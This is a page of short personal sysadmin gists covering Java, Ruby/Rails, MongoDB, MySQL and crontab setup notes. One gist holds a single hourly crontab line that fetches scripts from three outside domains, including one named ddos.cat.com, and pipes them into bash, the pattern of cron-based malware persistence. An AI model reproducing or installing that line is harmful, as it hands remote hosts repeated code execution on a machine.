This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| #http://linuxg.net/how-to-install-oracle-java-jdk-678-on-ubuntu-13-04-12-10-12-04/ | |
| sudo apt-get purge openjdk* | |
| sudo apt-get install software-properties-common | |
| sudo add-apt-repository ppa:webupd8team/java | |
| sudo apt-get update | |
| #sudo apt-get install oracle-java8-installer | |
| sudo apt-get install oracle-java7-installer | |
| #sudo apt-get install oracle-java6-installer |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| echo "install Ubuntu packages..." | |
| sudo apt-get update | |
| sudo apt-get install -y wget vim build-essential openssl libreadline6 libreadline6-dev libmysqlclient-dev curl git-core zlib1g zlib1g-dev libssl-dev libyaml-dev libxml2-dev libxslt-dev autoconf automake libtool imagemagick libmagickwand-dev libpcre3-dev nodejs | |
| echo "---------------------------------------------------------------------------" | |
| echo "---------------------------------------------------------------------------" | |
| echo "" | |
| echo "" | |
| echo "Install RVM" |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| #m h dom mon dow user command | |
| crontab -e | |
| 1 1 * * * ruby /home/ruby/data/autorun/ruby product_price.rb >> /home/ruby/data/autorun/log.log 2>&1 | |
| 列出当前用户签定的任务: # crontab -l | |
| 删除当前用户签定的任务: # crontab -r |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| 1 * * * * wget -O - colkolduld.com/cmd1|bash;wget -O - lochjol.com/cmd2|bash;wget -O - ddos.cat.com/cmd3|bash; |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| The best way is to do it is from the mongodb console: | |
| > use mydb; | |
| > db.dropDatabase(); | |
| # 删除collection | |
| > db.temp.drop(); | |
| # 删除 product 这个collction下的所有数据 | |
| > db.products.remove() |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| You must run copydb or clone on the destination server. | |
| #http://docs.mongodb.org/manual/tutorial/copy-databases-between-instances/ | |
| 在目标主机上操作如下 | |
| db.copyDatabase( "test", "records", "db0.example.net" ) | |
| 源地址: db0.example.net | |
| 源数据库:test | |
| 目标数据库:records | |
| db.copyDatabase( "test", "records", "db0.example.net" , "username", "password") |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| #!/bin/bash | |
| echo "install ctags" | |
| sudo apt-get install ctags | |
| echo "download webbench"; | |
| wget http://home.tiscali.cz/cz210552/distfiles/webbench-1.5.tar.gz | |
| tar zxvf webbench-1.5.tar.gz | |
| cd webbench-1.5/ | |
| make | |
| sudo make install |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| mkdir -p data/masterdb | |
| cd data/masterdb | |
| ====== | |
| #stop mongodb | |
| sudo service mongodb stop |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| gem install rails -v 3.2.14 | |
| gem install bundler | |
| sudo apt-get install imagemagick | |
| gem install spree_cmd | |
| rails _3.2.14_ new mystore | |
| cd mystore | |
| vim Gemfile | |
| #add the two line at bottom |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| http://stackoverflow.com/questions/3513773/change-mysql-default-character-set-to-utf8-in-my-cnf | |
| To set the default to UTF-8, you want to add the following to my.cnf | |
| [client] | |
| default-character-set=utf8 | |
| [mysql] | |
| default-character-set=utf8 |